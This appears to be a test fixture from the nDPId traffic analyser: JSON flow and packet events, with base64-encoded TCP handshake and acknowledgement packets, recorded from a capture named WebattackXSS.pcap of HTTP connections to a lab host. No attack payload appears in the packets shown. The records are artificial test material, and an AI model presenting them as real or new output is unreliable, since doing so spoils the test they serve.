+00431{"flow_id":406,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5751,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347654,"pkt_ts_usec":68834,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0q11AAD4GGnusEAABwKgKMuhuAFBOzi1leXdpYoAQAOXUGQAAAQEICgE7hjkD5Vet"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5757,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":407,"flow_packet_id":1,"flow_first_seen":1499347655367,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59516,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":407,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5757,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347655,"pkt_ts_usec":367825,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wQ9AAD4GBMGsEAABwKgKMuh8AFCmFkZxAAAAAKACchAA9gAAAgQFtAQCCAoBO4d+AAAAAAEDAwc="} +00444{"flow_id":407,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5758,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347655,"pkt_ts_usec":367984,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6HyXTysMphZGcqAScSDioAAAAgQFtAQCCAoD5VjzATuHfgEDAwc="} +00432{"flow_id":407,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5760,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347655,"pkt_ts_usec":371736,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wRBAAD4GBMisEAABwKgKMuh8AFCmFkZyl08rDYAQAOWBqAAAAQEICgE7h34D5Vjz"} +00432{"flow_id":404,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5763,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347655,"pkt_ts_usec":797737,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qj1AAD4GG5usEAABwKgKMuhGAFAFSii0ynOjf4ARAOWZXAAAAQEICgE7h+kD5VP9"} +00434{"flow_id":404,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5764,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347655,"pkt_ts_usec":798002,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+iFAAEAGybbAqAoyrBAAAQBQ6EbKc6N\/BUootYARAOOT\/AAAAQEICgPlWV4BO4fp"} +00432{"flow_id":404,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5765,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347655,"pkt_ts_usec":800781,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qj5AAD4GG5qsEAABwKgKMuhGAFAFSii1ynOjgIAQAOWT+QAAAQEICgE7h+oD5Vle"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5769,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":408,"flow_packet_id":1,"flow_first_seen":1499347656622,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59530,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":408,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5769,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347656,"pkt_ts_usec":622725,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83x1AAD4G5rKsEAABwKgKMuiKAFBnH1eqAAAAAKACchAtbQAAAgQFtAQCCAoBO4i3AAAAAAEDAwc="} +00444{"flow_id":408,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5770,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347656,"pkt_ts_usec":622884,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6Ios50nrZx9Xq6AScSBZZwAAAgQFtAQCCAoD5VotATuItwEDAwc="} +00432{"flow_id":408,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5772,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347656,"pkt_ts_usec":624773,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03x5AAD4G5rmsEAABwKgKMuiKAFBnH1erLOdJ7IAQAOX4bQAAAQEICgE7iLgD5Vot"} +00432{"flow_id":405,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5777,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347656,"pkt_ts_usec":797693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NDRAAD4GkaSsEAABwKgKMuhUAFBjE7f3XX8ONIARAOWsSgAAAQEICgE7iOMD5VU6"} +00432{"flow_id":405,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5778,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347656,"pkt_ts_usec":797937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VGxAAEAGb2zAqAoyrBAAAQBQ6FRdfw40YxO3+IARAOOnLQAAAQEICgPlWlgBO4jj"} +00432{"flow_id":405,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5779,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347656,"pkt_ts_usec":799804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NDVAAD4GkaOsEAABwKgKMuhUAFBjE7f4XX8ONYAQAOWnKgAAAQEICgE7iOQD5VpY"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":363,"flow_packet_id":6,"flow_first_seen":1499347583209,"flow_last_seen":1499347588776,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58744,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":363,"flow_packet_id":6,"flow_first_seen":1499347583209,"flow_last_seen":1499347588776,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58744,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":364,"flow_packet_id":6,"flow_first_seen":1499347584472,"flow_last_seen":1499347589778,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58758,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":364,"flow_packet_id":6,"flow_first_seen":1499347584472,"flow_last_seen":1499347589778,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58758,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":365,"flow_packet_id":6,"flow_first_seen":1499347585744,"flow_last_seen":1499347590777,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58772,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":365,"flow_packet_id":6,"flow_first_seen":1499347585744,"flow_last_seen":1499347590777,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58772,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":366,"flow_packet_id":6,"flow_first_seen":1499347588270,"flow_last_seen":1499347593778,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58798,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":366,"flow_packet_id":6,"flow_first_seen":1499347588270,"flow_last_seen":1499347593778,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58798,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":367,"flow_packet_id":6,"flow_first_seen":1499347589555,"flow_last_seen":1499347594779,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58812,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":367,"flow_packet_id":6,"flow_first_seen":1499347589555,"flow_last_seen":1499347594779,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":368,"flow_packet_id":6,"flow_first_seen":1499347592060,"flow_last_seen":1499347597780,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58838,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":368,"flow_packet_id":6,"flow_first_seen":1499347592060,"flow_last_seen":1499347597780,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58838,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":369,"flow_packet_id":6,"flow_first_seen":1499347593330,"flow_last_seen":1499347598782,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58852,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5786,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":369,"flow_packet_id":6,"flow_first_seen":1499347593330,"flow_last_seen":1499347598782,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5789,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":409,"flow_packet_id":1,"flow_first_seen":1499347659123,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59556,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":409,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5789,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347659,"pkt_ts_usec":123688,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8x6pAAD4G\/iWsEAABwKgKMuikAFB+qkyDAAAAAKACchAefQAAAgQFtAQCCAoBO4spAAAAAAEDAwc="} +00445{"flow_id":409,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5790,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347659,"pkt_ts_usec":123847,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6KSKjQS\/fqpMhKAScSAvjAAAAgQFtAQCCAoD5VyeATuLKQEDAwc="} +00433{"flow_id":409,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5792,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347659,"pkt_ts_usec":124722,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x6tAAD4G\/iysEAABwKgKMuikAFB+qkyEio0EwIAQAOXOkwAAAQEICgE7iykD5Vye"} +00432{"flow_id":406,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5795,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347659,"pkt_ts_usec":799697,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0q15AAD4GGnqsEAABwKgKMuhuAFBOzi1leXdpYoARAOXOgAAAAQEICgE7i9ED5Vet"} +00432{"flow_id":406,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5796,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347659,"pkt_ts_usec":799914,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NCVAAEAGj7PAqAoyrBAAAQBQ6G55d2liTs4tZoARAOPI5wAAAQEICgPlXUcBO4vR"} +00432{"flow_id":406,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5797,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347659,"pkt_ts_usec":803723,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0q19AAD4GGnmsEAABwKgKMuhuAFBOzi1meXdpY4AQAOXI5AAAAQEICgE7i9ID5V1H"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5801,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":410,"flow_packet_id":1,"flow_first_seen":1499347660441,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59570,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":410,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5801,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347660,"pkt_ts_usec":441643,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SJ9AAD4GfTGsEAABwKgKMuiyAFDQzcTuAAAAAKACchBSmAAAAgQFtAQCCAoBO4xxAAAAAAEDAwc="} +00444{"flow_id":410,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5802,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347660,"pkt_ts_usec":441772,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6LJiYdyB0M3E76AScSCyxwAAAgQFtAQCCAoD5V3nATuMcQEDAwc="} +00432{"flow_id":410,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5805,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347660,"pkt_ts_usec":448715,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SKBAAD4GfTisEAABwKgKMuiyAFDQzcTvYmHcgoAQAOVRzQAAAQEICgE7jHMD5V3n"} +00432{"flow_id":407,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5807,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347660,"pkt_ts_usec":802601,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wRFAAD4GBMesEAABwKgKMuh8AFCmFkZyl08rDYARAOV8WgAAAQEICgE7jMsD5Vjz"} +00432{"flow_id":407,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5808,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347660,"pkt_ts_usec":802841,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0dU9AAEAGTonAqAoyrBAAAQBQ6HyXTysNphZGc4ARAON3DAAAAQEICgPlXkIBO4zL"} +00432{"flow_id":407,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5809,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347660,"pkt_ts_usec":809604,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wRJAAD4GBMasEAABwKgKMuh8AFCmFkZzl08rDoAQAOV3CAAAAQEICgE7jM0D5V5C"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5813,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":411,"flow_packet_id":1,"flow_first_seen":1499347661705,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59584,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":411,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5813,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347661,"pkt_ts_usec":705590,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iZ5AAD4GPDKsEAABwKgKMujAAFBNGwQwAAAAAKACchCVvgAAAgQFtAQCCAoBO42uAAAAAAEDAwc="} +00444{"flow_id":411,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5815,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347661,"pkt_ts_usec":705774,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6MCaW9JGTRsEMaAScSDG8gAAAgQFtAQCCAoD5V8jATuNrgEDAwc="} +00432{"flow_id":411,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5817,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347661,"pkt_ts_usec":709570,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iZ9AAD4GPDmsEAABwKgKMujAAFBNGwQxmlvSR4AQAOVl+QAAAQEICgE7ja8D5V8j"} +00432{"flow_id":408,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5819,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347661,"pkt_ts_usec":798683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03x9AAD4G5risEAABwKgKMuiKAFBnH1erLOdJ7IARAOXzXwAAAQEICgE7jcUD5Vot"} +00432{"flow_id":408,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5820,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347661,"pkt_ts_usec":798834,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0FtdAAEAGrQHAqAoyrBAAAQBQ6Ios50nsZx9XrIARAOPuUgAAAQEICgPlXzsBO43F"} +00432{"flow_id":408,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5821,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347661,"pkt_ts_usec":802583,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03yBAAD4G5resEAABwKgKMuiKAFBnH1esLOdJ7YAQAOXuTwAAAQEICgE7jcYD5V87"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5831,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":412,"flow_packet_id":1,"flow_first_seen":1499347664226,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59610,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":412,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5831,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347664,"pkt_ts_usec":226936,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Ye5AAD4GY+KsEAABwKgKMujaAFDKDfHLAAAAAKACchAonwAAAgQFtAQCCAoBO5AlAAAAAAEDAwc="} 